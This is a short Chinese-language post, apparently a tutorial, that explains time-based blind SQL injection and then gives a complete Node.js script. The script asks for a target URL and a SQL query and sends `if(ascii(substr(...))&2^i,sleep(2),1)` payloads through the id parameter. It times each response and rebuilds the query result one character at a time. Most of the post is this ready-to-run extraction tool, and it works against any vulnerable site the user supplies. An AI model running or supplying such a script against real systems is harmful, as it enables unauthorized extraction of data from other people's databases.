原理
主要是通过将每个字符进行8次按位与运算,结果相加得到相应的ascii码值,进而得到对应的字符,通过此特性,构造Get请求,循环url,得到ascii码值,一个ascii码值需要执行8次按位与,只需要判断从发送请求到返回数据的耗时大于等于sleep函数的参数,则记录按位与得到的值,最后相加并转换得到一个字符,当转换的ascii码 = 0的时候,表示没有字符了,即可退出循环,并打印该字符,与布尔盲注脚本一样,只是基于时间盲注脚本需要计算发送请求到返回数据的耗时,执行过程中,按位与运算只要响应时间大于2000ms则会记录,每8次循环之后得到一个ascii码值,再转换为字符,最后拼接字符串,这个时间是非常久的
代码
const axios = require('axios')
const readline = require('readline')
const rl = readline.createInterface({
input: process.stdin,
output: process.stdout
})
async function timeInject(url) {
const startTime = Date.now()
return axios.get(url).then(data => {
console.log('[+]payload: ' + url)
const endTime = Date.now()
if (endTime - startTime >= 2000) {
return parseInt(url.match(/\%\d+/)[0].replace('%26', ''))
} else {
return 0
}
})
}
async function main() {
console.log('[+] Please enter url')
let url = await new Promise((resolve, reject) => {
rl.on('line', url => {
resolve(url)
})
})
console.log('[+] Please enter SQL')
const startTime = Date.now()
const sql = await new Promise((resolve, reject) => {
rl.on('line', sql => {
resolve(sql)
rl.close()
})
})
let flag = true
let index = 1
let result = ''
while (flag) {
let sumAscii = 0
for (let i = 0; i < 8; i++) {
let str =
url +
`?id=1' and if(ascii(substr((${sql}),${index},1))%26${Math.pow(
2,
i
)},sleep(2),1) --+`
sumAscii += await timeInject(str)
}
if (sumAscii !== 0) {
result += String.fromCharCode(sumAscii)
++index
} else {
flag = false
}
}
const endTime = Date.now()
console.log(
'\n' +
'[+]Injection Result: ' +
sql +
' = ' +
result +
'\n' +
'[+]Attck Time:' +
(endTime - startTime) / 1000 +
's'
)
}
main()
结果
同布尔盲注脚本一样,输入URL,SQL语句,一个字符执行8次按位与运算,只是按位与不为0的情况下会执行sleep函数,基于时间注入会开销时间,所以会时间会很长